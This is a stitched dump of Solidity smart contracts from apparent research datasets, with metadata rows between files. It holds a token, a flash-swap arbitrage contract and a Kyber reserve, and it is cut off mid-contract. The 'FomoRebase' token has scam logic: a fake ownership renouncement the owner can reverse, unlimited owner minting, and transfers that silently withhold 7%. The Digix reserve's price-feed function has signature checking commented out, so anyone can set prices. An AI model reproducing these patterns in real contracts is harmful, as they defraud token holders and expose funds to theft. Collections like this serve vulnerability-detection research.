function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract FomoRebase is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'FomoRebase';
_symbol = 'FMR';
_decimals = 9;
_totalSupply = 1000000000 * 10**6 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**18;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**6 * 10**18;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function rebase(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: send to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 254,509 | 717 |
e05d05fa5ed79006e75c091a4d445ae8de2e51829631731d2e8a4221e481db36
| 22,459 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/49/49d938768f275ca06f69bfca8035af0734ae4210_Arbitrage.sol
| 4,641 | 17,837 |
pragma solidity ^0.6.6;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'cdf2deca40a0bd56de8e3ce5c7df6727e5b1bf2ac96f283fa9c4b3e6b42ea9d2' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external returns (uint[] memory amounts);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IYfi is IERC20{
function deposit(uint amount) external;
function withdraw(uint shares) external;
}
contract Arbitrage {
address public factory;
address public vaultSetter = 0x1B5b5FB19d0a398499A9694AD823D786c24804CC;
mapping(address=>address) private _tokenToVault;
mapping(address=>bool) public isVault;
function setTokenToVault(address _tok, address _vau, bool _isVault) external{
require(msg.sender == vaultSetter);
_tokenToVault[_tok] = _vau;
isVault[_vau] = _isVault;
}
function tokenToVault(address _token) public view returns(address){
return
_tokenToVault[_token] == address(0) ?
_token :
_tokenToVault[_token];
}
function tokenHasVault(address _token) public view returns(bool){
return _tokenToVault[_token] != address(0);
}
uint constant deadline = 9999999999999999999999999999999999;
IUniswapV2Router02 public sushiRouter;
constructor(address _factory, address _sushiRouter) public {
factory = _factory;
sushiRouter = IUniswapV2Router02(_sushiRouter);
}
function startArbitrage(address token0,
address token1,
uint amount0,
uint amount1) external {
address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1);
require(pairAddress != address(0), 'This pool does not exist');
IUniswapV2Pair(pairAddress).swap(amount0,
amount1,
address(this),
bytes('not empty'));
}
function uniswapV2Call(address,
uint _amount0,
uint _amount1,
bytes calldata) external {
address[] memory path = new address[](2);
uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor(factory, token0, token1),
'Unauthorized');
require(_amount0 == 0 || _amount1 == 0);
path[0] = _amount0 == 0 ? token1 : token0;
path[1] = _amount0 == 0 ? token0 : token1;
IERC20 token = IERC20(_amount0 == 0 ? token1 : token0);
address vault = tokenToVault(address(token));
token.approve(vault, amountToken);
if(tokenHasVault(address(token)))
IYfi(vault).deposit(amountToken);
uint vBal = IYfi(vault).balanceOf(address(this));
IYfi(vault).approve(address(sushiRouter), vBal);
uint amountRequired;
{
address[] memory pathRefund = new address[](2);
pathRefund[0] = path[1];
pathRefund[1] = path[0];
amountRequired = UniswapV2Library.getAmountsIn(factory,
amountToken,
pathRefund)[0];
}
uint vAm = IYfi(vault).balanceOf(address(this));
sushiRouter.swapExactTokensForTokensSimple(vAm,
0,
vault,
tokenToVault(path[1]),
false,
address(this),
deadline)[1];
uint amountReceived = withdrawVault(path[1]);
IERC20 otherToken = IERC20(_amount0 == 0 ? token0 : token1);
require(otherToken.balanceOf(address(this)) >= amountRequired, "router check failed somehow");
otherToken.transfer(msg.sender, amountRequired);
otherToken.transfer(tx.origin, amountReceived - amountRequired);
}
function withdrawVault(address _address) internal returns(uint){
if (tokenHasVault(_address)) {
IYfi vaultC = IYfi(tokenToVault(_address));
uint am = vaultC.balanceOf(address(this));
vaultC.withdraw(am);
}
return IERC20(_address).balanceOf(address(this));
}
}
| 316,608 | 718 |
af7758eb399d9c4a02fc6f7a43cfb7bc4a5b44165bdf2ee4071859e64663d1b6
| 17,064 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4cc28b64ffe5d9e207c459449c266a3043ef26f4.sol
| 4,123 | 16,105 |
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/DigixReserve.sol
interface MakerDao {
function peek() public view returns (bytes32, bool);
}
contract DigixReserve is KyberReserveInterface, Withdrawable, Utils {
ERC20 public digix;
MakerDao public makerDaoContract;
uint maxBlockDrift = 300;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
address public kyberNetwork;
uint public lastPriceFeed;
bool public tradeEnabled;
uint constant internal POW_2_64 = 2 ** 64;
uint constant digixDecimals = 9;
uint buyCommissionBps = 13;
uint sellCommissionBps = 13;
function DigixReserve(address _admin, address _kyberNetwork, ERC20 _digix) public{
require(_admin != address(0));
require(_digix != address(0));
require(_kyberNetwork != address(0));
admin = _admin;
digix = _digix;
setDecimals(digix);
kyberNetwork = _kyberNetwork;
tradeEnabled = true;
}
function () public payable {}
/// @dev Add digix price feed. Valid for @maxBlockDrift blocks
/// @param blockNumber - the block this price feed was signed.
/// @param nonce - the nonce with which this block was signed.
/// @param ask ask price dollars per Kg gold == 1000 digix
/// @param bid bid price dollars per KG gold == 1000 digix
/// @param signature signature of keccak 256 hash of (block, nonce, ask, bid)
function addPriceFeed(uint blockNumber, uint nonce, uint ask, uint bid, bytes signature) public {
uint prevFeedBlock;
uint prevNonce;
uint prevAsk;
uint prevBid;
(prevFeedBlock, prevNonce, prevAsk, prevBid) = getLastPriceFeedValues();
require(nonce > prevNonce);
signature;
// address signer =
// bool isValidSigner = false;
// for (uint i = 0; i < operatorsGroup.length; i++) {
// if (operatorsGroup[i] == signer){
// isValidSigner = true;
// break;
// }
// }
// require(isValidSigner);
lastPriceFeed = encodePriceFeed(blockNumber, nonce, ask, bid);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
if (!tradeEnabled) return 0;
if (makerDaoContract == MakerDao(0)) return 0;
uint feedBlock;
uint nonce;
uint ask;
uint bid;
blockNumber;
(feedBlock, nonce, ask, bid) = getLastPriceFeedValues();
if (feedBlock + maxBlockDrift < block.number) return 0;
uint rate1000Digix;
if (ETH_TOKEN_ADDRESS == src) {
rate1000Digix = ask;
} else if (ETH_TOKEN_ADDRESS == dest) {
rate1000Digix = bid;
} else {
return 0;
}
// wei per dollar from makerDao
bool isRateValid;
bytes32 weiPerDoller;
(weiPerDoller, isRateValid) = makerDaoContract.peek();
if (!isRateValid) return 0;
uint rate = rate1000Digix * (10 ** 18) * PRECISION / uint(weiPerDoller) / 1000;
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
// if (sanityRatesContract != address(0)) {
// uint sanityRate = sanityRatesContract.getSanityRate(src, dest);
// if (rate > sanityRate) return 0;
// }
return rate;
}
function getLastPriceFeedValues() public view returns(uint feedBlock, uint nonce, uint ask, uint bid) {
(feedBlock, nonce, ask, bid) = decodePriceFeed(lastPriceFeed);
}
event TradeExecute(address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress);
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
uint adjustedAmount;
// sanity check
require(destAmount > 0);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
//due to commission network has less tokens. take amount less commission
adjustedAmount = srcAmount * (10000 - sellCommissionBps) / 10000;
require(srcToken.transferFrom(msg.sender, this, adjustedAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
adjustedAmount = destAmount * 10000 / (10000 - buyCommissionBps);
require(destToken.transfer(destAddress, adjustedAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transfer(destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
function setMakerDaoContract(MakerDao daoContract) public onlyAdmin{
require(daoContract != address(0));
makerDaoContract = daoContract;
}
function setKyberNetworkAddress(address _kyberNetwork) public onlyAdmin{
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
}
function setMaxBlockDrift(uint numBlocks) public onlyAdmin {
require(numBlocks > 1);
maxBlockDrift = numBlocks;
}
function setBuyCommissionBps(uint commission) public onlyAdmin {
require(commission < 10000);
buyCommissionBps = commission;
}
